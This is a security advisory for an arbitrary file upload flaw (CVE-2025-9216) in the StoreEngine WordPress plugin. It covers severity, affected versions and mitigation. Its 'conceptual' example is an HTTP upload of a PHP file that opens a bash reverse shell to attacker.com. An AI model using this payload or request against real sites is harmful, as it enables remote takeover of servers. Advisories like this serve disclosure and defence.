Overview
CVE-2025-9216 is a serious security vulnerability identified in the StoreEngine WordPress eCommerce Plugin, which is widely used for Payments, Memberships, Affiliates, Sales & More. The exploit allows authenticated attackers to upload arbitrary files on the server, potentially leading to remote code execution. This is due to deficient file type validation in the import() function. The vulnerability affects all versions of the plugin up to and including 1.5.0. Given the prevalent use of this plugin in the WordPress ecosystem, the potential impact is significant and warrants urgent attention.
Vulnerability Summary
CVE ID: CVE-2025-9216
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
StoreEngine – Powerful WordPress eCommerce Plugin | Up to and including 1.5.0
How the Exploit Works
The vulnerability stems from inadequate file type validation in the import() function of the StoreEngine WordPress eCommerce Plugin. This oversight allows authenticated attackers with Subscriber-level access and above to upload arbitrary files, including potentially malicious ones, to the server hosting the WordPress site. This file upload capability can be exploited to conduct remote code execution attacks, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This example represents a HTTP request to upload a malicious file:
POST /wp-content/plugins/storeengine/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=-------------------------acebdf13572468
---------------------------acebdf13572468
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'");?>
---------------------------acebdf13572468--Mitigation Guidance
Users of the StoreEngine WordPress eCommerce Plugin are urged to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching all software, plugins, and themes can help prevent falling victim to such vulnerabilities in the future.
